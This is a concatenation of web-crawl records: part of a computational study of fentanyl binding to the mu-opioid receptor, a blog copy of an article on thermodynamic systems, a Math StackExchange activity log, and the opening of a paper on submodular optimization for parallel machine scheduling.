unclear. Recently, the pKa of the analogous Asp2.50 in M2 muscarinic acetylcholine receptor (m2R) was calculated using the Poisson–Boltzmann method with a protein electric constant of 450. The calculation gave a pKa of 8–12 when sodium is 5 Å away from Asp2.50. However, it is widely known that the continuum-based Poisson–Boltzmann methods overestimate the pKas of internal residues, particularly with a low dielectric constant (e.g., 4)51. The CpHMD simulations estimated the pKas of 4.8–5.1 for the apo and fentanyl-bound mOR, thus suggesting that it remains deprotonated in the active mOR. Having a solution pKa of 6.533 and two neutral tautomer forms, histidine may sample all three protonation states in the protein environment at physiological pH 7.4. Our work demonstrates that the tautomer state of histidine in the ligand access region may alter the mechanism and possibly also the thermodynamics and kinetics of ligand binding. Thus, the conventional treatment in MD simulations, i.e., fixing histidine in a neutral tautomer state following the program default (HIE in Amber28 and HID in CHARMM-GUI52) may not be appropriate for detailed investigations. A caveat of the study is that all other histidines have been fixed in one protonation state in the WE and equilibrium simulations, even though some of them may sample alternative protonation state at physiological pH according to the CpHMD titration. A more complete understanding of how protonation states impact the conformational dynamics and ligand binding of GPCRs awaits the development of GPU-accelerated hybrid-solvent22,23 and all-atom CpHMD methods53 and their integration with enhanced sampling protocols such as the WE approach19,21,54. We also note that the present work is based on the activated structure of mOR and does not explore the large conformational changes of the receptor, which likely occur on a much slower timescale, e.g., the activation time of the class A GPCR α2A adrenergic receptor was estimated as 40 ms55. Notwithstanding the caveats, our detailed fentanyl–mOR interaction fingerprint analysis provides a basis for pharmacological investigations of fentanyl analogs, particularly how structural modifications alter the binding properties of fentanyl derivatives which may have increased potency and abuse potential. ## Methods All fixed-charge simulations (weighted ensemble and equilibrium molecular dynamics) were carried out using the GPU-accelerated pmemd engine in AMBER1828. The continuous constant pH molecular dynamics (CpHMD) simulations were carried out with the CHARMM program (version c42)56. The protein was represented by CHARMM36m41 and CHARMM22/CMAP force fields57,58 in the fixed-charge and CpHMD simulations, respectively. Water was represented by the CHARMM-style TIP3P force field.56 The POPC and cholesterol molecules were represented by the CHARMM36 lipid force field59. The force field parameters for fentanyl were obtained using the ParamChem CGENFF server60. ### Equilibration simulation of apo active mOR in a lipid bilayer The X-ray crystal structure of mOR in complex with BU72 (PDB ID: 5C1M)9 was used as the starting model for apo active mOR. The crystal structure represents the wild type but contains a cysteine-s-acetamide (YCM) at position 57. This residue was converted to a cysteine (Cys57). A cholesterol molecule was resolved in the X-ray structure and is bound to the extracellular leaflet near TM7. This cholesterol and all crystal waters in the interior of mOR were kept. Seven additional water molecules were added using the DOWSER program61. Apo mOR was oriented with respect to membrane using the OPM (Orientations of Proteins in Membranes) database62. The CHARMM-GUI web server52 was then used to construct the system of mOR embedded in a POPC (1-palmitoyl-2-oleoyl-glycero-3-phosphocholine) lipid bilayer. The disulfide bond observed in the crystal structure was imposed between Cys140 and Cys217. All titratable residues were fixed in the standard protonation states. All histidine residues were set to the neutral Nδ tautomer (HID) as in the default setting of CHARMM56. The system was first energy minimized using the steepest descent followed by conjugate gradient algorithm. The system was then gradually heated from 0 to 310 K over 200 ps with harmonic restraints on the protein heavy atoms, lipids, and bound water molecules (same as Step 1 in Supplementary Table 1). Following heating, the system was equilibrated for 117 ns, during which time the various harmonic restrains were gradually reduced to zero (Supplementary Table 1). The final dimension of the system was ~87 × 87 × 113 Å3. The final snapshot was used for constructing the fentanyl-bound mOR model and as the starting structure for the replica-exchange CpHMD simulations of apo mOR (CpH-apo). ### Relaxation of the docked fentanyl–mOR complex in a lipid bilayer The fentanyl-bound mOR model was prepared by superimposing a top fentanyl binding pose from a previous docking study16 onto the final snapshot from the aforementioned equilibration simulation of apo active mOR. The docked pose showed a salt bridge between the piperidine nitrogen and Asp147 and an aromatic stacking between the phenethyl ring and His297. The docked model was equilibrated for 115 ns, using harmonic restraints imposed on the protein and fentanyl heavy atoms in the first 5 ns (details see Supplementary Table 2). During the unrestrained part of the simulation, the root-mean-square deviation (RMSD) of the fentanyl heavy-atom positions with respect to the docked structure steadily increases in the first 20 ns and stabilizes at about 6 Å in the remainder of the 110 ns simulation (Supplementary Fig. 1). Concomitant with the fentanyl RMSD increase, the minimum distance between fentanyl’s piperidine nitrogen and His297’s imidazole nitrogen decreases from 10 to about 7 Å (Supplementary Fig. 1); however, the salt bridge between the positively charged piperidine amine and the negatively charged Asp147 remains largely stable except for occasional excursions (Supplementary Fig. 1), consistent with a previous μs simulation study18. The final snapshot was used as the starting configuration for the WE simulations. ### Weighted ensemble MD simulations Weighted ensemble (WE) is a path sampling protocol that uses splitting and merging trajectories to enhance sampling of rare events. Briefly, the configuration space is divided into bins based on a predetermined progress coordinate and a fixed number of walkers (trajectories) per bin is targeted. At the beginning of the simulation, walkers are initiated from a single bin and after a specified time interval, resampling is performed by evaluating the number of walkers per bin, and for bins with less than desired number of walkers, the walker is replicated (or split), and for bins with more than desired number of walkers, the walkers are pruned. Thus, over time, more bins are sampled and the simulation progresses along the progress coordinate. Details theory and algorithm can be found elsewhere19,21,54. Two WE MD simulations were carried out starting from the equilibrated fentanyl–mOR complex structure, with His297 fixed in either HIE (WE-HIE) or HID (WE-HID) state. The Python-based tool WESTPA54 was used to control the WE protocol and data storage. The root-mean-square deviation (RMSD) of the fentanyl heavy-atom positions with respect to their starting positions was used as the progress coordinate. The configuration space was divided into bins that covered the RMSD values of 0 and 10 Å. A target number of four and five walkers per bin was used for the WE-HIE and WE-HID simulations, respectively. The fixed time interval for resampling of each walker was 0.5 ns. The bin widths were changed manually in the beginning of the simulations to further accelerate sampling, and the final bin boundaries were placed at the following RMSD values: 0, 0.5, 1, 1.25, 1.5, 1.75, 2, 2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8, 2.9, 3, 3.1, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7, 3.8, 3.9, 4, 4.1, 4.2, 4.3, 4.4, 4.5, 4.6, 4.7, 4.8, 4.9, 5, 5.25, 5.5, 5.75, 6, 6.25, 6.5, 6.75, 7, 7.25, 7.5, 7.75, 8, 8.25, 8.5, 8.75, 9, 9.5, 10, >10. The WE simulations employed the Langevin thermostat, as a stochastic thermostat is required for the WE strategy to generate continuous pathways with no bias in the dynamics. A total of about 300 iterations were conducted for WE-HIE and WE-HID simulations. From the WE-HID simulation, we uncovered an alternative binding mode that involved a hydrogen bond between fentanyl’s piperidine nitrogen and His297’s Nϵ. The bound pose was used as the starting configuration for the equilibrium simulation MD-H297(HID). To prepare the starting configurations for the equilibrium simulations MD-H297(HIE) and MD-H297(HIP), the protonation state of His297 in the bound pose was switched followed by 65 ns equilibration (Supplementary Table 3). The final snapshot which no longer contained the piperidine-H297(Nϵ) hydrogen bond were used to start the MD-H297(HIE) and MD-H297(HIP) simulations. ### Continuous constant pH molecular dynamics (CpHMD) We applied the membrane-enabled hybrid-solvent continuous constant pH molecular dynamics (CpHMD) method22,23 to determine the protonation states of all titratable residues in the mOR systems. In this method, conformational dynamics is propagated in explicit solvent and lipids, while the solvation forces for propagating titration coordinates are calculated using the membrane generalized-Born GBSW model63 based on the conformations sampled in explicit solvent. To accelerate convergence of the coupled conformational and protonation-state sampling, a replica-exchange protocol in the pH space is used22. The membrane-enabled hybrid-solvent CpHMD method22,23 has been validated for pKa calculations and pH-dependent simulations of transmembrane proteins23,25,26. The detailed protocols can be found here24. Three sets of replica-exchange CpHMD simulations were performed, starting from the equilibrated apo active mOR structure, equilibrated fentanyl–mOR complex in the D147-binding mode, and the fentanyl–mOR complex in the H297-binding mode obtained from the WE-HID simulation in which the FEN–H297 distance is less than 3.5 Å. The pH replica-exchange protocol included 16 replicas in the pH range 2.5–9.5 with an increment of 0.5 unit. A GB calculation was invoked every 10 MD steps to update the titration coordinates. In the GB calculation, the default settings were used, consistent with our previous work22. Each pH replica underwent molecular dynamics in the NPT ensemble with an aggregate sampling time of 320 ns. All Asp, Glu, and His sidechains as well as the piperidine amine were allowed to titrate. The model pKas of Asp, Glu, and His are 3.8, 4.2, and 6.5, respectively33, while that of the piperidine amine in fentanyl is 8.946. ### Molecular dynamics protocol The temperature and pressure were maintained at 310 K and 1 atm by the Langevin thermostat and Monte Carlo barostat, respectively in the simulations with the Amber program28, while the modified Hoover thermostat and Langevin piston coupling method were used in the simulations with the CHARMM program56. Long-range electrostatics was treated by the particle-mesh Ewald (PME) method64 with a real-space cut-off of 12 Å and a sixth-order interpolation with a 1.6-Å−1 grid spacing. The van der Waals interactions were smoothly switched to zero between 10 and 12 Å. Bonds involving hydrogen atoms were constrained using the SHAKE algorithm to enable a 2-fs timestep. Analysis was performed using CPPTRAJ program65. For analysis of the equilibrium simulations starting from the D147- and H297-binding modes, the last 200 or 400 ns data were used, respectively. ### Clustering analysis The clustering analysis was performed using the cluster command in CPPTRAJ65 with the hierarchical agglomerate algorithm. The distance between clusters was calculated based on the RMSD of fentanyl’s heavy atoms. The distance cutoff was 3 Å. ### Calculation of Tanimoto coefficients Tanimoto coefficient between profiles A and B is calculated using the following equation: $${S}_{AB}\ =\ \frac{\mathop{\sum }\nolimits_{i = 1}^{n}{x}_{iA}.{x}_{iB}}{\mathop{\sum }\nolimits_{i = 1}^{n}{({x}_{iA})}^{2}+\mathop{\sum }\nolimits_{i = 1}^{n}{({x}_{iB})}^{2}-\mathop{\sum }\nolimits_{i = 1}^{n}{x}_{iA}.{x}_{iB}},$$ (1) where xiA or xiB denotes the contact value between fentanyl and residue i of mOR from profile A or B, respectively. xi has a value of 1 if a contact exists and 0 otherwise. ### Binding site volume calculation A reviewer noted that BU72 is big and so the second binding mode may be the result of using the BU72-bound mOR crystal structure as a template to generate the initial structure for the fentanyl–mOR complex. The reviewer suggested running a 1-μs MD equilibration of the empty receptor (with the goal to “shrink the binding pocket”). To address this comment, we performed the binding site volume calculations using POVME2.066,67. All structures were first aligned using the Cα atoms of the binding site residues (Tyr75, Gln124, Asn127, Trp133, Ile144, Asp147, Tyr148, Met151, Phe152, Leu232, Lys233, Val236, Ala240, Trp293, Ile296, His297, Val300, Trp318, His319, Ile322, Tyr326) from the BU72-bound mOR crystal structure (PDB ID: 5C1M). All waters, ions, cholesterol, lipids, nanobody, and ligands were removed before the calculation. The binding pocket searching region is kept consistent throughout all systems by specifying an Inclusion box centered at the binding pocket center of mass (0,0,8) and sides of 12 Å, 12 Å, 15 Å in the x, y, and z direction, respectively. For the volume calculation, trajectory snapshots were taken every 5 ns from the last 50 ns of the simulations. The binding site volume based on the BU72-bound mOR crystal structure (with BU72 removed) is 371 Å3. After 110 ns of MD equilibration before docking fentanyl, the volume is 359 ± 12 Å3, which is similar to that of the crystal structure. To test if prolonged equilibration would shrink the binding site volume, we extended the simulation by 500 ns and found that the receptor’s cavity volume increased to 465 ± 51 Å3. An increase in volume can be rationalized as the result of relaxation and solvation of the binding site. Thus, a long MD equilibration of the empty receptor will not reduce the binding site volume, and the alternative binding mode of fentanyl is not a result of an expanded binding cavity due to the size of BU72. ### Reporting summary Further information on research design is available in the Nature Research Reporting Summary linked to this article.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7898679971694946, "perplexity": 5944.468377932348}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337371.9/warc/CC-MAIN-20221003003804-20221003033804-00601.warc.gz"}
http://thermodynamicsystem0.blogspot.com/2011_03_01_archive.html	## Saturday, 12 March 2011 ### Thermodynamic system A thermodynamic system is a precisely defined macroscopic region of the universe, often called a physical system, that is studied using the principles of thermodynamics. All space in the universe outside the thermodynamic system is known as the surroundings, the environment, or a reservoir. A system is separated from its surroundings by a boundary which may be notional or real, but which by convention delimits a finite volume. Exchanges of work, heat, or matter between the system and the surroundings may take place across this boundary. Thermodynamic systems are often classified by specifying the nature of the exchanges that are allowed to occur across its boundary. A thermodynamic system is characterized and defined by a set of thermodynamic parameters associated with the system. The parameters are experimentally measurable macroscopic properties, such as volume, pressure, temperature, electric field, and others. The set of thermodynamic parameters necessary to uniquely define a system is called the thermodynamic state of a system. The state of a system is expressed as a functional relationship, the equation of state, between its parameters. A system is in thermodynamic equilibrium when the state of the system does not change with time. Originally, in 1824, Sadi Carnot described a thermodynamic system as the working substance under study. ### Overview Thermodynamics describes the physics of matter using the concept of the thermodynamic system, a region of the universe that is under study. All quantities, such as pressure or mechanical work, in an equation refer to the system unless labeled otherwise. As thermodynamics is fundamentally concerned with the flow and balance of energy and matter, systems are distinguished depending on the kinds of interaction they undergo and the types of energy they exchange with the surrounding environment. Interactions of thermodynamic systems Type of system Mass flow Work Heat Open Green tickY Green tickY Green tickY Closed Red XN Green tickY Green tickY Isolated Red XN Red XN Red XN Isolated systems are completely isolated from their environment. They do not exchange heat, work or matter with their environment. An example of an isolated system is a completely insulated rigid container, such as a completely insulated gas cylinder. Closed systems are able to exchange energy (heat and work) but not matter with their environment. A greenhouse is an example of a closed system exchanging heat but not work with its environment. Whether a system exchanges heat, work or both is usually thought of as a property of its boundary. Open systems may exchange any form of energy as well as matter with their environment. A boundary allowing matter exchange is called permeable. The ocean would be an example of an open system. In practice, a system can never be absolutely isolated from its environment, because there is always at least some slight coupling, such as gravitational attraction. In analyzing a system in steady-state, the energy into the system is equal to the energy leaving the system [1]. An example system is the system of hot liquid water and solid table salt in a sealed, insulated test tube held in a vacuum (the surroundings). The test tube constantly loses heat in the form of black-body radiation, but the heat loss progresses very slowly. If there is another process going on in the test tube, for example the dissolution of the salt crystals, it will probably occur so quickly that any heat lost to the test tube during that time can be neglected. Thermodynamics in general does not measure time, but it does sometimes accept limitations on the time frame of a process. ### History The first to develop the concept of a thermodynamic system was the French physicist Sadi Carnot whose 1824 Reflections on the Motive Power of Fire studied what he called the working substance, e.g., typically a body of water vapor, in steam engines, in regards to the system's ability to do work when heat is applied to it. The working substance could be put in contact with either a heat reservoir (a boiler), a cold reservoir (a stream of cold water), or a piston (to which the working body could do work by pushing on it). In 1850, the German physicist Rudolf Clausius generalized this picture to include the concept of the surroundings, and began referring to the system as a "working body." In his 1850 manuscript On the Motive Power of Fire, Clausius wrote: “ "With every change of volume (to the working body) a certain amount work must be done by the gas or upon it, since by its expansion it overcomes an external pressure, and since its compression can be brought about only by an exertion of external pressure. To this excess of work done by the gas or upon it there must correspond, by our principle, a proportional excess of heat consumed or produced, and the gas cannot give up to the "surrounding medium" the same amount of heat as it receives." ” The article Carnot heat engine shows the original piston-and-cylinder diagram used by Carnot in discussing his ideal engine; below, we see the Carnot engine as is typically modeled in current use: Carnot engine diagram (modern) - where heat flows from a high temperature TH furnace through the fluid of the "working body" (working substance) and into the cold sink TC, thus forcing the working substance to do mechanical work W on the surroundings, via cycles of contractions and expansions. In the diagram shown, the "working body" (system), a term introduced by Clausius in 1850, can be any fluid or vapor body through which heat Q can be introduced or transmitted through to produce work. In 1824, Sadi Carnot, in his famous paper Reflections on the Motive Power of Fire, had postulated that the fluid body could be any substance capable of expansion, such as vapor of water, vapor of alcohol, vapor of mercury, a permanent gas, or air, etc. Although, in these early years, engines came in a number of configurations, typically QH was supplied by a boiler, wherein water was boiled over a furnace; QC was typically a stream of cold flowing water in the form of a condenser located on a separate part of the engine. The output work W here is the movement of the piston as it is used to turn a crank-arm, which was then typically used to turn a pulley so to lift water out of flooded salt mines. Carnot defined work as "weight lifted through a height." ### Boundary A system boundary is a real or imaginary volumetric demarcation region drawn around a thermodynamic system across which quantities such as heat, mass, or work can flow.[1] In short, a thermodynamic boundary is a division between a system and its surroundings. Boundaries can also be fixed (e.g. a constant volume reactor) or moveable (e.g. a piston). For example, in an engine, a fixed boundary means the piston is locked at its position; as such, a constant volume process occurs. In that same engine, a moveable boundary allows the piston to move in and out. Boundaries may be real or imaginary. For closed systems, boundaries are real while for open system boundaries are often imaginary. A boundary may be adiabatic, isothermal, diathermal, insulating, permeable, or semipermeable. In practice, the boundary is simply an imaginary dotted line drawn around a volume when there is going to be a change in the internal energy of that volume. Anything that passes across the boundary that effects a change in the internal energy needs to be accounted for in the energy balance equation. The volume can be the region surrounding a single atom resonating energy, such as Max Planck defined in 1900; it can be a body of steam or air in a steam engine, such as Sadi Carnot defined in 1824; it can be the body of a tropical cyclone, such as Kerry Emanuel theorized in 1986 in the field of atmospheric thermodynamics; it could also be just one nuclide (i.e. a system of quarks) as hypothesized in quantum thermodynamics. ### Surroundings The system is the part of the universe being studied, while the surroundings is the remainder of the universe that lies outside the boundaries of the system. It is also known as the environment, and the reservoir. Depending on the type of system, it may interact with the system by exchanging mass, energy (including heat and work), momentum, electric charge, or other conserved properties. The environment is ignored in analysis of the system, except in regards to these interactions. ### Open system In open systems, matter may flow in and out of the system boundaries. The first law of thermodynamics for open systems states: the increase in the internal energy of a system is equal to the amount of energy added to the system by matter flowing in and by heating, minus the amount lost by matter flowing out and in the form of work done by the system. The first law for open systems is given by: \mathrm{d}U=\mathrm{d}U_{in}+\delta Q-\mathrm{d}U_{out}-\delta W\, where Uin is the average internal energy entering the system and Uout is the average internal energy leaving the system The region of space enclosed by open system boundaries is usually called a control volume, and it may or may not correspond to physical walls. If we choose the shape of the control volume such that all flow in or out occurs perpendicular to its surface, then the flow of matter into the system performs work as if it were a piston of fluid pushing mass into the system, and the system performs work on the flow of matter out as if it were driving a piston of fluid. There are then two types of work performed: flow work described above which is performed on the fluid (this is also often called PV work) and shaft work which may be performed on some mechanical device. These two types of work are expressed in the equation: \delta W=\mathrm{d}(P_{out}V_{out})-\mathrm{d}(P_{in}V_{in})+\delta W_{shaft}\, Substitution into the equation above for the control volume cv yields: \mathrm{d}U_{cv}=\mathrm{d}U_{in}+\mathrm{d}(P_{in}V_{in}) - \mathrm{d}U_{out}-\mathrm{d}(P_{out}V_{out})+\delta Q-\delta W_{shaft}\, The definition of enthalpy, H, permits us to use this thermodynamic potential to account for both internal energy and PV work in fluids for open systems: \mathrm{d}U_{cv}=\mathrm{d}H_{in}-\mathrm{d}H_{out}+\delta Q-\delta W_{shaft}\, During steady-state operation of a device (see turbine, pump, and engine), any system property within the control volume is independent of time. Therefore, the internal energy of the system enclosed by the control volume remains constant, which implies that dUcv in the expression above may be set equal to zero. This yields a useful expression for the power generation or requirement for these devices in the absence of chemical reactions: \frac{\delta W_{shaft}}{\mathrm{d}t}=\frac{\mathrm{d}H_{in}}{\mathrm{d}t}- \frac{\mathrm{d}H_{out}}{\mathrm{d}t}+\frac{\delta Q}{\mathrm{d}t} \, This expression is described by the diagram above ### Closed system In a closed system, no mass may be transferred in or out of the system boundaries. The system will always contain the same amount of matter, but heat and work can be exchanged across the boundary of the system. Whether a system can exchange heat, work, or both is dependent on the property of its boundary. * Adiabatic boundary – not allowing any heat exchange * Rigid boundary – not allowing exchange of work One example is fluid being compressed by a piston in a cylinder. Another example of a closed system is a bomb calorimeter, a type of constant-volume calorimeter used in measuring the heat of combustion of a particular reaction. Electrical energy travels across the boundary to produce a spark between the electrodes and initiates combustion. Heat transfer occurs across the boundary after combustion but no mass transfer takes place either way. Beginning with the first law of thermodynamics for an open system, this is expressed as: \mathrm{d}U=Q-W+m_{i}(h+\frac{1}{2}v^2+gz)_{i}-m_{e}(h+\frac{1}{2}v^2+gz)_{e} where U is internal energy, Q is heat transfer, W is work, and since no mass is transferred in or out of the system, both expressions involving mass flow, , zeroes, and the first law of thermodynamics for a closed system is derived. The first law of thermodynamics for a closed system states that the amount of internal energy within the system equals the difference between the amount of heat added to or extracted from the system and the work done by or to the system. The first law for closed systems is stated by: dU = δQ − δW where U is the average internal energy within the system, Q is the heat added to or extracted from the system and W is the work done by or to the system. Substituting the amount of work needed to accomplish a reversible process, which is stated by: δW = PdV where P is the measured pressure and V is the volume, and the heat required to accomplish a reversible process stated by the second law of thermodynamics, the universal principle of entropy, stated by: δQ = TdS where T is the absolute temperature and S is the entropy of the system, derives the fundamental thermodynamic relationship used to compute changes in internal energy, which is expressed as: δU = TdS − PdV For a simple system, with only one type of particle (atom or molecule), a closed system amounts to a constant number of particles. However, for systems which are undergoing a chemical reaction, there may be all sorts of molecules being generated and destroyed by the reaction process. In this case, the fact that the system is closed is expressed by stating that the total number of each elemental atom is conserved, no matter what kind of molecule it may be a part of. Mathematically: \sum_{j=1}^m a_{ij}N_j=b_i^0 where Nj is the number of j-type molecules, aij is the number of atoms of element i in molecule j and bi0 is the total number of atoms of element i in the system, which remains constant, since the system is closed. There will be one such equation for each different element in the system. ### Isolated system An isolated system is more restrictive than a closed system as it does not interact with its surroundings in any way. Mass and energy remains constant within the system, and no energy or mass transfer takes place across the boundary. As time passes in an isolated system, internal differences in the system tend to even out and pressures and temperatures tend to equalize, as do density differences. A system in which all equalizing processes have gone practically to completion is considered to be in a state of thermodynamic equilibrium. Truly isolated physical systems do not exist in reality (except perhaps for the universe as a whole), because, for example, there is always gravity between a system with mass and masses elsewhere. However, real systems may behave nearly as an isolated system for finite (possibly very long) times. The concept of an isolated system can serve as a useful model approximating many real-world situations. It is an acceptable idealization used in constructing mathematical models of certain natural phenomena. In the attempt to justify the postulate of entropy increase in the second law of thermodynamics, Boltzmann’s H-theorem used equations which assumed a system (for example, a gas) was isolated. That is all the mechanical degrees of freedom could be specified, treating the walls simply as mirror boundary conditions. This inevitably led to Loschmidt's paradox. However, if the stochastic behavior of the molecules in actual walls is considered, along with the randomizing effect of the ambient, background thermal radiation, Boltzmann’s assumption of molecular chaos can be justified. The second law of thermodynamics is only true for isolated systems. It states that the entropy of an isolated system not in equilibrium will tend to increase over time, approaching maximum value at equilibrium. Overall, in an isolated system, the available energy can never increase, and it complement, entropy, can never decrease. A closed system's entropy can decrease. It is important to note that isolated systems are not equivalent to closed systems. Closed systems cannot exchange matter with the surroundings, but can exchange energy. Isolated systems can exchange neither matter nor energy with their surroundings, and as such are only theoretical and do not exist in reality (except, possibly, the entire universe). It is worth noting that 'closed system' is often used in thermodynamics discussions when 'isolated system' would be correct - i.e. there is an assumption that energy does not enter or leave the system. ### Systems in equilibrium At thermodynamic equilibrium, a system's properties are, by definition, unchanging in time. Systems in equilibrium are much simpler and easier to understand than systems which are not in equilibrium. Often, when analyzing a thermodynamic process, it can be assumed that each intermediate state in the process is at equilibrium. This will also considerably simplify the analysis. In isolated systems it is consistently observed that as time goes on internal rearrangements diminish and stable conditions are approached. Pressures and temperatures tend to equalize, and matter arranges itself into one or a few relatively homogeneous phases. A system in which all processes of change have gone practically to completion is considered to be in a state of thermodynamic equilibrium. The thermodynamic properties of a system in equilibrium are unchanging in time. Equilibrium system states are much easier to describe in a deterministic manner than non-equilibrium states. In thermodynamic processes, large departures from equilibrium during intermediate steps are associated with increases in entropy and increases in the production of heat rather than useful work. It can be shown that for a process to be reversible, each step in the process must be reversible. For a step in a process to be reversible, the system must be in equilibrium throughout the step. That ideal cannot be accomplished in practice because no step can be taken without perturbing the system from equilibrium, but the ideal can be approached by making changes slowly.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.862369954586029, "perplexity": 523.6107107942976}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-30/segments/1500549424889.43/warc/CC-MAIN-20170724162257-20170724182257-00474.warc.gz"}
http://math.stackexchange.com/users/35706/gmb?tab=activity	GMB Reputation 1,760 Next privilege 2,000 Rep. Jun14 revised What is the mean of this random variable? added 9 characters in body Jun14 comment What is the mean of this random variable? Okay, thank you. Edited. Jun14 revised What is the mean of this random variable? edited body Jun14 revised What is the mean of this random variable? added 38 characters in body Jun14 comment What is the mean of this random variable? $0 < \delta < 1$, if that answers the question =) Jun14 asked What is the mean of this random variable? Jun9 comment Turan's theorem for balanced r-partite graphs @TravisJ Yes to both. Jun9 asked Turan's theorem for balanced r-partite graphs May28 asked Is there a function over $\mathbb{Z}_p$ that is never linear? May19 asked How big can a $k$-sum free set be? Apr29 asked Maximum number of size $k$ subsets where no two overlap on more than $e$ elements. Apr28 comment A probability puzzle @Raskolnikov: Thanks for the hint. I'm having trouble turning it into a proof, though. I know $\Pr(\text{friends} \, \| \, \text{share } h_k)$, but it seems that I need to know $\Pr(\text{friends} \, \| \, \text{share } h_k \text{ but not } h_{j < k})$ to get an answer. Apr28 asked A probability puzzle Apr27 answered Every tournament conatins a hamiltonian path - question about the proof Apr17 asked The size of the vertex hull of a lattice Jan20 accepted Convergence rate of the power method for finding eigenvectors Jan20 comment Convergence rate of the power method for finding eigenvectors Thanks, you're right. Edited. Jan20 revised Convergence rate of the power method for finding eigenvectors added 22 characters in body Jan20 asked Convergence rate of the power method for finding eigenvectors Dec9 awarded Caucus	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.896839439868927, "perplexity": 1213.3169897774585}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375098808.88/warc/CC-MAIN-20150627031818-00051-ip-10-179-60-89.ec2.internal.warc.gz"}
https://link.springer.com/article/10.1007%2Fs10107-014-0814-9	Mathematical Programming , Volume 153, Issue 2, pp 495–534 # Decomposition algorithms for submodular optimization with applications to parallel machine scheduling with controllable processing times • Akiyoshi Shioura • Natalia V. Shakhlevich • Vitaly A. Strusevich Open Access Full Length Paper Series A ## Abstract In this paper we present a decomposition algorithm for maximizing a linear function over a submodular polyhedron intersected with a box. Apart from this contribution to submodular optimization, our results extend the toolkit available in deterministic machine scheduling with controllable processing times. We demonstrate how this method can be applied to developing fast algorithms for minimizing total compression cost for preemptive schedules on parallel machines with respect to given release dates and a common deadline. Obtained scheduling algorithms are faster and easier to justify than those previously known in the scheduling literature. ### Keywords Submodular optimization Parallel machine scheduling Controllable processing times Decomposition ### Mathematics Subject Classification 90C27 90B35 90C05 ## 1 Introduction In scheduling with controllable processing times, the actual durations of the jobs are not fixed in advance, but have to be chosen from a given interval. This area of scheduling has been active since the 1980s, see surveys [16] and [22]. Normally, for a scheduling model with controllable processing times two types of decisions are required: (1) each job has to be assigned its actual processing time, and (2) a schedule has to be found that provides a required level of quality. There is a penalty for assigning shorter actual processing times, since the reduction in processing time is usually associated with an additional effort, e.g., allocation of additional resources or improving processing conditions. The quality of the resulting schedule is measured with respect to the cost of assigning the actual processing times that guarantee a certain scheduling performance. As established in [23, 24], there is a close link between scheduling with controllable processing times and linear programming problems with submodular constraints. This allows us to use the achievements of submodular optimization [4, 21] for design and justification of scheduling algorithms. On the other hand, formulation of scheduling problems in terms of submodular optimization leads to the necessity of studying novel models with submodular constraints. Our papers [25, 27] can be viewed as convincing examples of such a positive mutual influence of scheduling and submodular optimization. This paper, which builds up on [26], makes another contribution towards the development of solution procedures for problems of submodular optimization and their applications to scheduling models. We present a decomposition algorithm for maximizing a linear function over a submodular polyhedron intersected with a box. Apart from this contribution to submodular optimization, our results extend the toolkit available in deterministic machine scheduling. We demonstrate how this method can be applied to several scheduling problems, in which it is required to minimize the total penalty for choosing actual processing times, also known as total compression cost. The jobs have to be processed with preemption on several parallel machines, so that no job is processed after a common deadline. The jobs may have different release dates. The paper is organized as follows. Section 2 gives a survey of the relevant results on scheduling with controllable processing times. In Sect. 3 we reformulate three scheduling problems in terms of linear programming problems over a submodular polyhedron intersected with a box. Section 4 outlines a recursive decomposition algorithm for solving maximization linear programming problems with submodular constraints. The applications of the developed decomposition algorithm to scheduling with controllable processing times are presented in Sect. 5. The concluding remarks are contained in Sect. 6. ## 2 Scheduling with controllable processing times: a review In this section, we give a brief overview of the known results on the preemptive scheduling problems with controllable processing times to minimize the total compression cost for schedules that are feasible with respect to given release dates and a common deadline. Formally, in the model under consideration the jobs of set $$N=\{1,2,\ldots 